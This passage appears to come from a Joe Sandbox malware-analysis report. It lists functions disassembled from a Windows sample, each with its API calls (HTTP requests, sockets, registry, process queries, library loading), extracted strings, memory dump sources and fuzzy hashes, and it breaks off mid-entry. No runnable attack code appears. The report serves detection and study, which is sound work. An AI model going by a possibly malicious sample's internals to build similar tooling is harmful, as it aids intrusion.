                                                          • String ID: ComboBox$ListBox
                                                          • API String ID: 787153527-1403004172
                                                          • Opcode ID: 51ace3cd84f376b707e02d4a7c3f756920b467d73b0149829d304039568d719a
                                                          • Instruction ID: 3cc4126238b30dcc0afdd8eb88ba1a84012bdabbcdfa8895698d85e93ea7c298
                                                          • Opcode Fuzzy Hash: 51ace3cd84f376b707e02d4a7c3f756920b467d73b0149829d304039568d719a
                                                          • Instruction Fuzzy Hash: AB210471A00109BEDB14ABB1DC89CFFBF69EF46328B10451AF525971E1DF3948499610
                                                          Function 0056182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0056184C
                                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00561872
                                                          • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 005618A2
                                                          • InternetCloseHandle.WININET(00000000), ref: 005618E9
                                                            • Part of subcall function 00562483: GetLastError.KERNEL32(?,?,00561817,00000000,00000000,00000001), ref: 00562498
                                                            • Part of subcall function 00562483: SetEvent.KERNEL32(?,?,00561817,00000000,00000000,00000001), ref: 005624AD
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                          • String ID:
                                                          • API String ID: 3113390036-3916222277
                                                          • Opcode ID: a833ff91341372f565fe43b978e3fced8cb24e56334e531d59e17af2180cb2e4
                                                          • Instruction ID: a38da739b7dd4795dda7e40b7900f7a60ffc14b02898365dcca7e33b0168ad0f
                                                          • Opcode Fuzzy Hash: a833ff91341372f565fe43b978e3fced8cb24e56334e531d59e17af2180cb2e4
                                                          • Instruction Fuzzy Hash: 9B21B0B1500608BFEB11DB64DC89EBB7BEDFB88745F14412AF40593140EA249D44ABA5
                                                          Function 005763E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 004F1D73
                                                            • Part of subcall function 004F1D35: GetStockObject.GDI32(00000011), ref: 004F1D87
                                                            • Part of subcall function 004F1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 004F1D91
                                                          • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00576461
                                                          • LoadLibraryW.KERNEL32(?), ref: 00576468
                                                          • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 0057647D
                                                          • DestroyWindow.USER32(?), ref: 00576485
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                          • String ID: SysAnimate32
                                                          • API String ID: 4146253029-1011021900
                                                          • Opcode ID: d59497588518242da3e8b39de6186cf2e8b5ec07987892a247e91ddc8737ebf2
                                                          • Instruction ID: 38831d0696c7ffef6386cb781fec06b3a636a28b3ca7a5b79f4e3d3370e7e44c
                                                          • Opcode Fuzzy Hash: d59497588518242da3e8b39de6186cf2e8b5ec07987892a247e91ddc8737ebf2
                                                          • Instruction Fuzzy Hash: F2215071100606AFEF108F64EC94EBA7BAAFB59764F108629F91893190D771DC51B760
                                                          Function 00556D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetStdHandle.KERNEL32(0000000C), ref: 00556DBC
                                                          • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00556DEF
                                                          • GetStdHandle.KERNEL32(0000000C), ref: 00556E01
                                                          • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00556E3B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CreateHandle$FilePipe
                                                          • String ID: nul
                                                          • API String ID: 4209266947-2873401336
                                                          • Opcode ID: 6091ca1fd4edbf17fd383bbcdb4021473e8bb5fc2f4b6460bb8cc9cb9e34e08a
                                                          • Instruction ID: 73a192cbaea601a9bd7db582ac9a1633c17fe4e11519d09674647d1d77cb7411
                                                          • Opcode Fuzzy Hash: 6091ca1fd4edbf17fd383bbcdb4021473e8bb5fc2f4b6460bb8cc9cb9e34e08a
                                                          • Instruction Fuzzy Hash: 0021B57460024AABDB209F29DC15A9A7FF8FF54722F604A1AFCA0D72D0D7709C58DB50
                                                          Function 00556E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetStdHandle.KERNEL32(000000F6), ref: 00556E89
                                                          • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00556EBB
                                                          • GetStdHandle.KERNEL32(000000F6), ref: 00556ECC
                                                          • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00556F06
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CreateHandle$FilePipe
                                                          • String ID: nul
                                                          • API String ID: 4209266947-2873401336
                                                          • Opcode ID: a27c178099ccd23e2efae8ca72d9f1d0c03d3cd20013c78cfd2cb4ab92696464
                                                          • Instruction ID: 04db1da055461cc09aa55192e2e90aa02f5d898e212b5c74639a78bbefad75b9
                                                          • Opcode Fuzzy Hash: a27c178099ccd23e2efae8ca72d9f1d0c03d3cd20013c78cfd2cb4ab92696464
                                                          • Instruction Fuzzy Hash: 1521C4795013459BDB209F69DC15AAB7BA8FF55721F600A1AFCA0D32D0D7709C59CB10
                                                          Function 00551142 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0054FCED,?,00550D40,?,00008000), ref: 0055115F
                                                          • Sleep.KERNEL32(00000000,?,?,?,?,?,?,0054FCED,?,00550D40,?,00008000), ref: 00551184
                                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0054FCED,?,00550D40,?,00008000), ref: 0055118E
                                                          • Sleep.KERNEL32(?,?,?,?,?,?,?,0054FCED,?,00550D40,?,00008000), ref: 005511C1
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CounterPerformanceQuerySleep
                                                          • String ID: @U
                                                          • API String ID: 2875609808-561287140
                                                          • Opcode ID: 542a34ae8c423412e64a0a4da385ee9f2d99b036dd550f4fc0ab7c0bfb696655
                                                          • Instruction ID: e8f704264f2dcac713f7474b5ad1dbde8e4d1d16600ff3e0d9bc813d62d02b5a
                                                          • Opcode Fuzzy Hash: 542a34ae8c423412e64a0a4da385ee9f2d99b036dd550f4fc0ab7c0bfb696655
                                                          • Instruction Fuzzy Hash: ED114C31C00919DBCF00DFA4D8587EEBF78FB19712F414496DE45B6240CA705598EBA9
                                                          Function 00551AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharUpperBuffW.USER32(?,?), ref: 00551B19
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: BuffCharUpper
                                                          • String ID: APPEND$EXISTS$KEYS$REMOVE
                                                          • API String ID: 3964851224-769500911
                                                          • Opcode ID: b610daebd88cb87c915f916227f33adb3696772fe9c58d58c1e9ad23c48ef821
                                                          • Instruction ID: 2e63b57c04cc4819715f74c52609df128124a1116b844b66c1efe44d306b80e8
                                                          • Opcode Fuzzy Hash: b610daebd88cb87c915f916227f33adb3696772fe9c58d58c1e9ad23c48ef821
                                                          • Instruction Fuzzy Hash: 1A113C309001099FCF00EF64D8659FEBFB4FF66314F10846ADC5467291EB32594ACB54
                                                          Function 00519B5C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 40COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00519AF9,00517CD0,005AA0B8,00000014), ref: 00519C56
                                                          • DeleteCriticalSection.KERNEL32(02[,?,?,00519AF9,00517CD0,005AA0B8,00000014), ref: 00519C7F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CriticalDeleteSection
                                                          • String ID: Z$ Z$02[
                                                          • API String ID: 166494926-1888540251
                                                          • Opcode ID: 6db816c1dafcc7ffe59a50a4d23a2e0aae24258e9262d980c587f47c39f50909
                                                          • Instruction ID: 8aaa52bb7f90bd5719a7668dcdea53d6fe442435e26b91b8bdc553a46cfc35c2
                                                          • Opcode Fuzzy Hash: 6db816c1dafcc7ffe59a50a4d23a2e0aae24258e9262d980c587f47c39f50909
                                                          • Instruction Fuzzy Hash: 56F0C8729002129BF7285B19BDAD5DA7FD8BB91339B240A29E09A921E0C7344CC5C690
                                                          Function 0052AC93 Relevance: 7.8, APIs: 5, Instructions: 253COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetCPInfo.KERNEL32(00000000,00000000,005AA3D0,7FFFFFFF,00000000,?,0052AF66,00000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 0052AD42
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,0052AF66,00000000,00000000,00000000,00000000,?,?,?,?), ref: 0052ADBC
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0052AF66,00000000,00000000,00000000,00000000,?,?,?,?), ref: 0052AE37
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,0052AF66,00000000,00000000,00000000,00000000,?,?,?,?), ref: 0052AE50
                                                            • Part of subcall function 0051571C: RtlAllocateHeap.NTDLL(00E00000,00000000,00000001,00000000,?,?,?,00510DD3,?), ref: 0051575F
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0052AF66,00000000,00000000,00000000,00000000,?,?,?,?), ref: 0052AECD
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ByteCharMultiWide$AllocateHeapInfo
                                                          • String ID:
                                                          • API String ID: 1443698708-0
                                                          • Opcode ID: 71d35252cd045843d2b10efff0de24c563d68922a0440deb25bd5ca88c8a7e3d
                                                          • Instruction ID: fa834c501cc6738d0b9a2b1d9dd3dc2f0523565d90885e044a83b837ab049b33
                                                          • Opcode Fuzzy Hash: 71d35252cd045843d2b10efff0de24c563d68922a0440deb25bd5ca88c8a7e3d
                                                          • Instruction Fuzzy Hash: A581DF7190423A9BDF258F64F985AEE7FB9FF4A310B15045AE805E72C1E7308C45CBA2
                                                          Function 00566B03 Relevance: 7.8, APIs: 5, Instructions: 250networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • __WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00566C00
                                                          • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00566C21
                                                          • WSAGetLastError.WSOCK32(00000000), ref: 00566C34
                                                          • inet_ntoa.WSOCK32(?), ref: 00566CA7
                                                          • htons.WSOCK32(?,?,?,00000000,?), ref: 00566CEA
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorLasthtonsinet_ntoa
                                                          • String ID:
                                                          • API String ID: 2227131780-0
                                                          • Opcode ID: 99915b47dbbe6458c97e1e9041fa22c07801f1e93ed6b2e3c6765d2cfddb33c1
                                                          • Instruction ID: 9c7e491ec94619796b9bc792f9f2ced5c94de74b6e5c4269b0cbe564dad6237e
                                                          • Opcode Fuzzy Hash: 99915b47dbbe6458c97e1e9041fa22c07801f1e93ed6b2e3c6765d2cfddb33c1
                                                          • Instruction Fuzzy Hash: 8481D071204204ABC714EB25DC86F7BBBA8FF84718F144A1DF6559B2E2DA74AD04CB92
                                                          Function 0056EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0056EC07
                                                          • GetProcessIoCounters.KERNEL32(00000000,?), ref: 0056EC37
                                                          • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0056ED6A
                                                          • CloseHandle.KERNEL32(?), ref: 0056EDEB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                          • String ID:
                                                          • API String ID: 2364364464-0
                                                          • Opcode ID: c3f61edfa775bbf8c70d1fe1c953db8b5894f3ac63734aab522dcd12dec75d51
                                                          • Instruction ID: 15a8c602c476b65c98a8ac186524e0e973b0494c48e95692c370983343cdac5e
                                                          • Opcode Fuzzy Hash: c3f61edfa775bbf8c70d1fe1c953db8b5894f3ac63734aab522dcd12dec75d51
                                                          • Instruction Fuzzy Hash: 12817F756003009FDB20EF29C886F2ABBE5AF44714F04881EFA999B292DB74AC44CB55
                                                          Function 0054EEEC Relevance: 7.7, APIs: 5, Instructions: 159COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • VariantInit.OLEAUT32(?), ref: 0054EF06
                                                          • VariantClear.OLEAUT32(00000013), ref: 0054EF78
                                                          • VariantClear.OLEAUT32(00000000), ref: 0054EFD3
                                                          • VariantClear.OLEAUT32(?), ref: 0054F04A
                                                          • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0054F078
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Variant$Clear$ChangeInitType
                                                          • String ID:
                                                          • API String ID: 4136290138-0
                                                          • Opcode ID: cf0046c5093bf3a092ed88c9eaaf9c83607f36166b4f3368276bb389f14eba0e
                                                          • Instruction ID: 09216cd18ebb5922a032b7abe983bed74c21afebfb6952af1b8ad8080994876e
                                                          • Opcode Fuzzy Hash: cf0046c5093bf3a092ed88c9eaaf9c83607f36166b4f3368276bb389f14eba0e
                                                          • Instruction Fuzzy Hash: 2C516E75A00209EFDB14CF58D884AAABBB9FF8C314B158569ED59DB301E334E951CFA0
                                                          Function 00570037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00570E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0056FDAD,?,?), ref: 00570E31
                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 005700FD
                                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0057013C
                                                          • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00570183
                                                          • RegCloseKey.ADVAPI32(?,?), ref: 005701AF
                                                          • RegCloseKey.ADVAPI32(00000000), ref: 005701BC
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Close$BuffCharConnectEnumOpenRegistryUpper
                                                          • String ID:
                                                          • API String ID: 3740051246-0
                                                          • Opcode ID: ee85f81c7d2ecd7598568edbc00d2e7f642a00302c138b3b6d7043c2f6cb46ca
                                                          • Instruction ID: 1ce6ca3612a6cdb635e459b39f83014b40f4ce0ed10142c647f1ecb13239f0e1
                                                          • Opcode Fuzzy Hash: ee85f81c7d2ecd7598568edbc00d2e7f642a00302c138b3b6d7043c2f6cb46ca
                                                          • Instruction Fuzzy Hash: C8515C71218204AFD704EF64DC85F6ABBE9FF84318F40891DF55987291DB35E904DB52
                                                          Function 0056D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0056D927
                                                          • GetProcAddress.KERNEL32(00000000,?), ref: 0056D9AA
                                                          • GetProcAddress.KERNEL32(00000000,00000000), ref: 0056D9C6
                                                          • GetProcAddress.KERNEL32(00000000,?), ref: 0056DA07
                                                          • FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0056DA21
                                                            • Part of subcall function 004F5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00557896,?,?,00000000), ref: 004F5A2C
                                                            • Part of subcall function 004F5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00557896,?,?,00000000,?,?), ref: 004F5A50
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
                                                          • String ID:
                                                          • API String ID: 666041331-0
                                                          • Opcode ID: dd24ece8f22ae259a0b933ee85c8adc774171b1ff1a52c005e2331b4e549a194
                                                          • Instruction ID: 89b393ff22007a2483b3eb38a5307df850e429f7be4ba620b407f2eefd7da99c
                                                          • Opcode Fuzzy Hash: dd24ece8f22ae259a0b933ee85c8adc774171b1ff1a52c005e2331b4e549a194
                                                          • Instruction Fuzzy Hash: 03513775E04609DFCB00EFA8C484DADBBB4FF19314B15846AEA19AB312D735AD45CFA0
                                                          Function 0055220A Relevance: 7.6, APIs: 5, Instructions: 138windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 005522A3
                                                          • IsMenu.USER32(00000000), ref: 005522C3
                                                          • CreatePopupMenu.USER32 ref: 005522F7
                                                          • GetMenuItemCount.USER32(000000FF), ref: 00552355
                                                          • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00552386
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Menu$Item$CountCreateInfoInsertPopup
                                                          • String ID:
                                                          • API String ID: 93392585-0
                                                          • Opcode ID: 2296735fb3c0f3fceed46f5a80707ab7df951c6add261c5f284587b23de13f7c
                                                          • Instruction ID: ee7b56d9cdf334d697c70c3975c7a64f82221a304a98348a0b93834e1479c01c
                                                          • Opcode Fuzzy Hash: 2296735fb3c0f3fceed46f5a80707ab7df951c6add261c5f284587b23de13f7c
                                                          • Instruction Fuzzy Hash: B751CE3060020ADBDF21CF68D8A8BADBFF5FF56316F15492AEC15A7290D3749A48CB51
                                                          Function 0055E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0055E61F
